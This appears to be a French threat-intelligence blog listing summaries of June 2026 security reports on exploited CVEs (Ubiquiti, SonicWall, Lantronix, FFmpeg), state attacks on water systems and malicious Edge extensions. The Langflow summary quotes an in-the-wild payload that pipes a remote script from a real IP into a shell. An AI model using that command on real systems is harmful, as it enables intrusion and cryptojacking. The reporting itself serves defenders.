Posts

⚠️ Mise à jour du 27 juillet 2026 Hunt.io a révisé son rapport source à deux reprises après la publication de ce billet : 27 juin 2026 — note éditoriale des auteurs reconnaissant que la publication initiale assimilait par endroits la simple présence de certains logiciels à un impact malveillant. Le terme « C2 » y est remplacé par threat activity enabling (« infrastructure facilitant l’activité malveillante ») et « malicious » par potentially malicious dans l’ensemble du rapport. 10 juillet 2026 — après revue des données avec Friendhosting LTD, Hunt.io précise que les cas soulevant une préoccupation crédible relèvent d’infrastructure de distribution de trafic, et non d’infrastructure identifiée comme hébergeant du C2. Keitaro est un TDS (traffic distribution system) commercial : sa présence sur un réseau indique que le logiciel y est déployé, pas que le réseau opère du C2. Dans la version courante du rapport, Friendhosting LTD n’est plus mentionné que dans les points clés, sous la forme suivante : le fournisseur héberge de nombreuses instances Keitaro susceptibles d’être détournées, et travaille sur les données pour analyser les abus potentiels. ...

📅 Source et contexte : Rapport de threat intelligence publié le 25 juin 2026 par DomainTools Intelligence (DTI), couvrant les opérations cyber étatiques et para-étatiques ciblant les systèmes d’eau et d’assainissement entre 2024 et 2026. 🎯 Contexte stratégique : Les systèmes d’eau et d’assainissement sont devenus des cibles privilégiées de la guerre hybride en raison de leur sous-investissement chronique en cybersécurité OT, de l’exposition internet de leurs PLCs et HMIs, et de leur valeur psychologique et politique disproportionnée. Les trois acteurs étatiques majeurs (Iran, Russie, Chine) convergent vers la même doctrine : utiliser ces infrastructures civiles comme leviers de pression sans franchir le seuil du conflit ouvert. ...

🛡️ Contexte Le 24 juin 2026, la CISA (Cybersecurity and Infrastructure Security Agency) a publié une alerte via sa directive BOD 26-04, signalant l’exploitation active de quatre vulnérabilités affectant des équipements réseau largement déployés. Les agences fédérales américaines disposent de trois jours pour appliquer les correctifs ou les mitigations recommandées. 🔴 Vulnérabilités Ubiquiti UniFi OS Trois CVE ont été ajoutées au catalogue KEV pour les équipements Ubiquiti UniFi OS : CVE-2026-34908 : Contournement de contrôle d’accès permettant à un attaquant non authentifié d’effectuer des modifications non autorisées, pouvant mener à une compromission totale du système. CVE-2026-34909 : Traversée de répertoire (path traversal) permettant l’accès à des fichiers sensibles (configurations, credentials), facilitant une prise de contrôle de compte. CVE-2026-34910 : Validation d’entrée incorrecte permettant l’injection et l’exécution de commandes OS arbitraires, pouvant conduire à une exécution de code à distance (RCE). Ubiquiti a publié des correctifs en mai 2026. Les chercheurs de Bishop Fox ont démontré que ces trois failles peuvent être chaînées pour obtenir un RCE complet avec privilèges élevés. Bishop Fox a également publié un script de détection gratuit sur GitHub. ...

🔍 Contexte Analyse publiée le 23 juin 2026 par Manuel Humberto Santander Peláez (SANS Internet Storm Center), portant sur deux années d’exploitation active de CVE-2024-40766, une vulnérabilité d’accès non autorisé (CVSS 9.3) dans SonicOS affectant les pare-feux Gen 5, Gen 6 et Gen 7 de SonicWall. 🎯 Vulnérabilités concernées CVE-2024-40766 : Improper access control dans SonicOS, affectant l’interface de gestion et le service SSLVPN. Advisory SNWLID-2024-0015 publié en août 2024. CVE-2024-12802 : Bypass d’authentification MFA sur SSLVPN SonicWall, exploité in-the-wild dès février-mars 2026. Sur Gen 6, le patch firmware seul ne remédie pas la faille — 6 étapes manuelles de reconfiguration LDAP sont requises. Les Gen 6 ont atteint leur end-of-life le 16 avril 2026, sans plus aucun patch de sécurité disponible. 👥 Acteurs de la menace Akira ransomware : exploitation documentée depuis septembre 2024, représentant 75% des intrusions. Dwell time documenté sous 4 heures, certains cas en 55 minutes. Fog ransomware : exploitation parallèle, représentant ~25% des intrusions sur la même période. En octobre 2025, Huntress a documenté plus de 100 comptes SSLVPN compromis dans 16 environnements clients en une seule vague, via des credentials valides (pas de brute-force). 🔓 Vecteurs d’exploitation post-patch Comptes locaux obsolètes : 12/14 pare-feux audités avaient des comptes SSLVPN sans équivalent Active Directory, dont certains avec des caractères non imprimables (indicateur de création automatisée par tooling d’exploitation). Absence de rotation des mots de passe : 11/14 pare-feux n’avaient pas changé les credentials locaux après la mise à jour firmware. LDAP Default User Group mal configuré : 9/14 pare-feux accordaient implicitement l’accès SSLVPN à tous les comptes AD authentifiés via LDAP. Dans un cas, ce groupe donnait aussi l’accès administrateur à l’interface de gestion. Virtual Office Portal exposé : 7/14 pare-feux avaient le portail d’enrollment MFA/TOTP accessible depuis Internet, permettant à un attaquant d’enrôler son propre dispositif TOTP avec des credentials valides. Breach MySonicWall (septembre 2025) : SonicWall a confirmé une compromission de sa plateforme cloud avec accès aux fichiers de sauvegarde de configuration contenant des credentials chiffrés — initialement annoncé comme <5% des clients, puis confirmé comme affectant la totalité des backups. 📊 Indicateurs de sessions suspectes Sessions depuis des ASN d’hébergeurs/VPS durant les heures creuses, durées de 40 à 60 heures Sessions sur des comptes locaux désactivés dans AD depuis plus d’un an, restant actives après le patch Type de session sess="CLI" dans les logs d’authentification SonicWall : indicateur d’outillage automatisé (documenté par ReliaQuest en mai 2026) Transition sess="CLI" → sess="GMS" : signal fort d’une activité hands-on-keyboard après credential testing automatisé 🧩 Type d’article Analyse technique post-mortem combinant retour d’audit terrain (14 pare-feux), chronologie d’exploitation sur deux ans, et extraction de règles de détection. But principal : documenter l’écart entre un pare-feu « patché » et un pare-feu réellement durci. ...

🗓️ Contexte Publié le 24 juin 2026 par Dataminr (auteur : Joseph Slowik, Director of Threat Research and Cyber Engineering), cet article analyse l’ajout de CVE-2025-67038 au catalogue KEV (Known Exploited Vulnerabilities) de la CISA le 23 juin 2026, aux côtés de trois vulnérabilités affectant la plateforme Ubiquiti. 🔍 Vulnérabilité concernée CVE-2025-67038 : vulnérabilité d’injection de code / exécution de commandes arbitraires dans la plateforme Lantronix EDS5000 Le Lantronix EDS5000 est un convertisseur série-ethernet utilisé dans l’automatisation industrielle et les environnements OT/IoT Ces dispositifs constituent des points de passage critiques (choke points) pour les opérations cyber-physiques L’ajout au KEV confirme une exploitation active documentée ⚠️ Implications opérationnelles Exploitation possible entraînant une perte ou un déni de contrôle sur des équipements industriels ou d’automatisation en aval Les environnements industriels à haute disponibilité ne peuvent généralement pas appliquer des correctifs hors fenêtre de maintenance planifiée Des mesures compensatoires sont nécessaires dans l’immédiat 🏴‍☠️ Précédents d’acteurs étatiques 2015 – Ukraine : Sandworm (GRU russe) a attaqué des sous-stations de distribution électrique, développant un payload de firmware malveillant pour « bricker » des convertisseurs série-ethernet, induisant une perte de contrôle et compliquant la restauration ~2025 – Pologne : Berserk Bear (FSB russe) a exploité des identifiants par défaut sur des convertisseurs série-ethernet dans des entités industrielles polonaises pour les réinitialiser en paramètres d’usine, modifier les identifiants et les adresses IP, rendant les équipements inaccessibles 📌 Type d’article Analyse de menace à visée opérationnelle, destinée aux équipes de sécurité industrielle et OT, visant à contextualiser l’ajout au KEV CISA et à évaluer le niveau de risque cyber-physique associé à CVE-2025-67038. ...

🔍 Contexte Publié le 23 juin 2026 par Trend Micro (Simon Dulude et John Zhang), cet article présente une analyse technique complète d’une campagne de cryptominage exploitant CVE-2026-33017, une vulnérabilité d’exécution de code à distance non authentifiée dans Langflow, un framework Python de construction de workflows LLM. 🎯 Vecteur d’accès initial L’exploitation cible l’endpoint POST /api/v1/build_public_tmp/{flow_id}/flow de Langflow, qui évalue du code Python sans authentification. L’attaquant injecte __import__('os').system('curl http://83.142.209.214:8080/isp.sh | sh') pour déclencher la chaîne d’infection. Le même flow_id UUID (0ee284cc-0eb1-493f-bc60-94fa8d1cfd18) est réutilisé dans toutes les tentatives. La fenêtre d’observation couvre 19 jours (27 mars – 15 avril 2026). ...

🗓️ Contexte Publié le 23 juin 2026 par SecurityWeek (auteur : Ionut Arghire), cet article rapporte la divulgation par JFrog d’une vulnérabilité critique dans FFmpeg, le framework de traitement multimédia le plus utilisé au monde, présent dans la quasi-totalité des applications de traitement vidéo. 🔍 Détails techniques de la vulnérabilité CVE : CVE-2026-8461 (CVSS 8.8) Nom : PixelSmash Type : Heap out-of-bounds write Composant affecté : bibliothèque libavcodec de FFmpeg, dans le décodeur MagicYUV Cause : inconsistance entre le calcul des hauteurs de plan chroma par l’allocateur de frames et le décodeur Mécanisme d’exploitation : placement d’une commande shell NUL-terminée à un offset hors-limites spécifique, ciblant la structure AVBuffer (objet de gestion de buffer à comptage de références), permettant l’exécution shell avant le crash du processus FFmpeg 🎯 Vecteurs d’exploitation Desktop : ouverture d’un fichier malveillant dans un lecteur vidéo, ou navigation dans un dossier contenant le fichier si le gestionnaire de fichiers génère des miniatures Serveur : upload d’un fichier média vers un serveur média, plateforme de chat ou service de transcodage cloud qui traite automatiquement le fichier NAS / appliances / smart TV : génération de miniatures ou aperçus vidéo Torrents (zero-click) : si le client torrent télécharge directement dans un dossier surveillé par une bibliothèque média, le scan automatique déclenche le payload Nextcloud : via le fournisseur optionnel Movie preview qui invoque le binaire FFmpeg système pour générer des miniatures 📦 Format du payload Fichier de 50 Ko au format AVI, MKV ou MOV Aucune authentification, privilège ou accès préalable requis ✅ Applications confirmées comme vulnérables Kodi, mpv, ffmpegthumbnailer (GNOME, KDE, XFCE) Jellyfin, Emby, Nextcloud, Immich, PhotoPrism, OBS Studio RCE démontré contre Jellyfin 🛠️ Correctif FFmpeg version 8.1.2 contient le correctif pour PixelSmash. ...

📰 Source : BleepingComputer | Date de publication : 24 juin 2026 | Contexte : Condamnation judiciaire liée à l’attaque par credential stuffing contre la plateforme de paris sportifs DraftKings en novembre 2022. 🎯 Faits principaux Nathan Austad (21 ans, Minnesota), opérant sous l’alias « Snoopy », a été condamné à 18 mois de prison après avoir plaidé coupable en décembre 2025 de conspiracy to commit computer intrusion. Il et ses co-conspirateurs ont compromis 60 000 comptes utilisateurs DraftKings via des attaques par credential stuffing exploitant des mots de passe faibles ou réutilisés. ...

📰 Source : BleepingComputer, publié le 24 juin 2026, basé sur une analyse technique de Zscaler. 🎯 Contexte général Des chercheurs de Zscaler ont documenté une campagne d’attaque sophistiquée utilisant une extension malveillante pour Microsoft Edge, baptisée Edgecution, attribuée à un initial access broker (IAB) lié à l’opération ransomware Payouts Kings. 🔓 Vecteur d’accès initial L’attaque débute par une ingénierie sociale via Microsoft Teams : l’attaquant se fait passer pour du personnel IT et dirige les victimes vers une fausse page “Outlook Updates Management Console” imitant Microsoft. Cette page propose des boutons de téléchargement qui : ...

🔍 Contexte Publié le 23 juin 2026 par Zscaler ThreatLabz, cet article présente une analyse technique approfondie d’une campagne d’attaque attribuée à un initial access broker (IAB) affilié au groupe ransomware Payouts King. 🎯 Mécanisme d’attaque La campagne repose sur deux vecteurs combinés : Ingénierie sociale pour l’accès initial Un mécanisme innovant de livraison de malware via une extension malveillante pour Microsoft Edge L’extension abuse du protocole Chrome native messaging pour interagir avec des applications natives de l’hôte, contournant ainsi le sandbox du navigateur. ...